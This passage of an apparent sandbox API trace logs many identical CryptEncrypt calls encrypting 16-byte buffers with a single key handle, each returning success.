returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.466] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.467] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.467] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.467] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.467] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.467] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.467] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.467] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.467] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.467] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.467] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.467] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.467] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.467] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.467] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.467] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.467] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.467] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.468] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.469] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.470] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: 